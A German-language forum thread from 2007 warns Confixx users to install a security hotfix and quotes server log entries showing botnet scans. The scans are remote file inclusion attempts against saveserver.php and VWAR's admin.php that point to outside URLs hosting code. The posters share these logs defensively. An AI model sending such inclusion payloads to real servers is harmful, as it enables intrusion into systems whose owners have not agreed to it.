Wer auf seinem Server Confixx einsetzt sollte dringend einen Sicherheitspatch einspielen der eine Lücke in der admin/business_inc/saveserver.php
schließt.

Um den Patch runterzuladen und zu installieren müssen folgende Schritte als Root auf der Konsole ausgeführt werden.

Code: Alles auswählen

cd /root/confixx
wget http://download1.swsoft.com/Confixx/security_hotfix/1/confixx_hotfix.pl.gz
gzip -d confixx_hotfix.pl.gz
perl ./confixx_hotfix.pl

Und schon sind die ersten Botnets aktiv, ich habe massenweiße Einträge im Logfile die in etwa so aussehen

Code: Alles auswählen

03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/linux-f12/confixx-benutzer-anlegen-t975.html/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl
03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/linux-f12/confixx-benutzer-anlegen-t975.html/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl
03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl
03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl
03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/linux-f12/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl
03.08.2007 02:25:22 - 66.180.173.** ded259-fbsd-173-**.netsonic.net - libwww-perl/5.805 -  - www.gameserveradmin.de/linux-f12/saveserver.php?thisdir=http://***.com/id.txt? - ua - libwww-perl

Wie man sieht wurde hier schon ein Rootserver infiziert der jetzt versucht weitere Opfer zu finden. Aus diesem Grund erzählen wir hier auch ständig das ein Rootserver nicht zum spielen oder lernen geeignet ist. Ich mach jede Wette der Admin des Servers auf dem der Bot läuft hat keine Ahnung davon.

Wer übrigends VWAR benutzt sollte auch mal schauen das er aktuell ist, in letzter Zeit gibt es hier öffter mal Zugriffe die so aussehen

Code: Alles auswählen

03.08.2007 02:33:29 - 213.193.229.*** 226-229.193.***.ix.be.priorweb.net - libwww-perl/5.803 -  - www.gameserveradmin.de/gameserver-webinterface-f18/home/modules/vwar/admin/admin.php?vwar_root=http://***.net/images/logo3.gif?? - ua - libwww-perl

Die Lücke ist aber so weit ich weiß schon etwas älter.

Na da bleib ich lieber bei meinen VHCS

Wer braucht schon ein Webinterface? *g*
*ist voll und ganz gegen WI's*

Naja, wenn du Kunden auf deinem Server hast wird es ohne WI schwer den Kunden zu ermöglichen das sie ihren Webspace einrichten können

Ach Käse Tobi ..
Access all Areas
Root-Access 4 Customers rulez